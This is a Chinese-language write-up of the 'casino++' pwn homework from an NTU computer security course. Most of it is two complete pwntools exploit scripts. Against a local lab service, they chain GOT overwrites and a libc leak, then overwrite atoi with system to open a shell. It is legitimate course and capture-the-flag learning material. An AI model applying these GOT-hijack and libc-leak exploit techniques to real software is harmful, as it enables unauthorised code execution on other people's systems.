NTU Computer Security by Yuawn - casino++ Writeup

發布日期:2024/9/19

標籤: pwn writeup lab

摘要: 本文台大計算機安全課程中第二週作業 casino++ 的 writeup,是第一週作業 casino 的進階版。比第一週多增加了 NX 防護,因此無法依靠緩衝區漏洞寫入 shellcode 執行,需要結合 libc 洩漏和 GOT 劫持來開 shell 。


casino++

攻擊思路

列舉 GOT 的位址。

objdump -R ./casino++

透過將 casino 函數的位址寫入 puts 函數的 GOT 來重複任意寫入漏洞。

from pwn import *
from time import sleep

context.arch = 'amd64'

l = ELF(os.path.join(os.curdir, "libc-2.27.so"))

rnd = [0x53,0x56,0x4d,0x0f,0x5d,0x23]

conn = remote("127.0.0.1", 10176)

conn.sendlineafter(":", b'\x00' * 0x20)

conn.sendlineafter(":", "30")

casino = 0x40095d
printf = 0x400700
guess = 0x6020d0
puts_got = 0x602020
guess = 0x6020d0

def write_got(conn, got_adr, write_adr):
    offset = int((got_adr - guess) / 4)
    write_adr_lowpart = write_adr & 0x00000000ffffffff
    write_adr_highpart = write_adr & 0xffffffff00000000

    for i in range(0,6):
        conn.sendlineafter(":", str(i))

    conn.sendlineafter("[1:yes 0:no]:", '1')
    conn.sendlineafter("[1 ~ 6]:", str(offset + 2))
    conn.sendlineafter(":", str(write_adr_highpart))

    for i in rnd:
        conn.sendlineafter(":", str(i))

    conn.sendlineafter("[1:yes 0:no]:", '1')
    conn.sendlineafter("[1 ~ 6]:", str(offset + 1))
    conn.sendlineafter(":", str(write_adr_lowpart))

write_got(conn, puts_got, casino)

conn.interactive()

接下來,我們需要想辦法洩漏 libc 的基址, casino 函數中呼叫 srand(seed)seed 變數可以藉由 main 函數輸入 name 時的緩衝區溢位來控制。先將 seed 設定成在 GOT 中隨機被解析過的 libc 位址,再將 srand 函數蓋成 puts 函數就可以洩漏 libc 基址。

conn.sendlineafter(":", b'\x00' * 0x10 + p64( __lib_start_main_got ) + p64( 0 ) + asm( shellcraft.sh() ))

改完 seed 後,中斷點設定在 casino+99 ,觀察 lottery 的隨機數重新生成的值。

更改新的隨機數陣列。

rnd = [0x3d,0x44,0x20,0x16,0x45,0x14]

驗證成功,重新呼叫一次 casino 函數。

接下來,把 srand 函數的 GOT 寫成 puts 的 plt。因此要找 puts 的位址。由於 0x602020 已經被寫成 casino 函數了,所以跳到 0x4006e6 。

objdump -d ./casino++

成功洩漏 __lib_start_main 函數的動態載入位址。

image

確認末三碼確實是 0xba0。

readelf -s ./libc-2.27.so  | grep __libc_start_main

一樣中斷點設定在 casino+99 ,由於 srand 函數被蓋掉了,因此隨機種子不會再被初始化,所以需要獲取新的六個值,這一輪才能再贏一次,跳到被蓋成 casino 函數的 puts 函數。

rnd = [0x16,0x43,0x3a,0x35,0x4a,0x03]

每次輸入數字都會呼叫 read_int 函數。在 read_int 函數中, read_chk 函數讀取字串後,會將其儲存在 [rbp-0x20]atoi 函數會讀取 [rbp-0x20] 轉換成整數。假設 atoi 函數被蓋成 system 函數,可以直接從 read_chk 函數讀取到的字串當成指令。

攻擊程式碼

from pwn import *
from time import sleep

context.arch = 'amd64'

l = ELF(os.path.join(os.curdir, "libc-2.27.so"))

rnd = [0x3d,0x44,0x20,0x16,0x45,0x14]

conn = remote("127.0.0.1", 10176)

casino = 0x40095d
printf = 0x400700
guess = 0x6020d0
puts_got = 0x602020
srand_got = 0x602040
atoi_got = 0x602058
guess = 0x6020d0
__lib_start_main_got = 0x601ff0

def lose(offset, write_adr_highpart):
    for i in range(0,6):
        conn.sendlineafter(":", str(i))

    conn.sendlineafter("[1:yes 0:no]:", '1')
    conn.sendlineafter("[1 ~ 6]:", str(offset + 2))
    conn.sendlineafter(":", str(write_adr_highpart))
    
def win(offset, write_adr_lowpart):
    for i in rnd:
        conn.sendlineafter(":", str(i))
    conn.sendlineafter("[1:yes 0:no]:", '1')
    conn.sendlineafter("[1 ~ 6]:", str(offset + 1))
    conn.sendlineafter(":", str(write_adr_lowpart))

def write_got(got_adr, write_adr):
    offset = int((got_adr - guess) / 4)
    write_adr_lowpart = write_adr & 0x00000000ffffffff
    write_adr_highpart = write_adr & 0xffffffff00000000

    lose(offset, write_adr_highpart)
    
    win(offset, write_adr_lowpart)
    
conn.sendlineafter(":", b'\x00' * 0x10 + p64( __lib_start_main_got ) )

conn.sendlineafter(":", "30")

write_got(puts_got, casino)

puts_plt = 0x4006e6

write_got(srand_got, puts_plt)

libc_base = u64( conn.recvline()[1:-1] + b'\0\0' ) - l.sym.__libc_start_main
l.address = libc_base
success( f"libc -> {hex(libc_base)}" )

rnd = [0x16,0x43,0x3a,0x35,0x4a,0x03]

system_libc = l.sym['system']

offset = int((atoi_got - guess) / 4) - 1

lose(offset, system_libc & 0xffffffff)

conn.interactive()

成功拿到 shell 。

目錄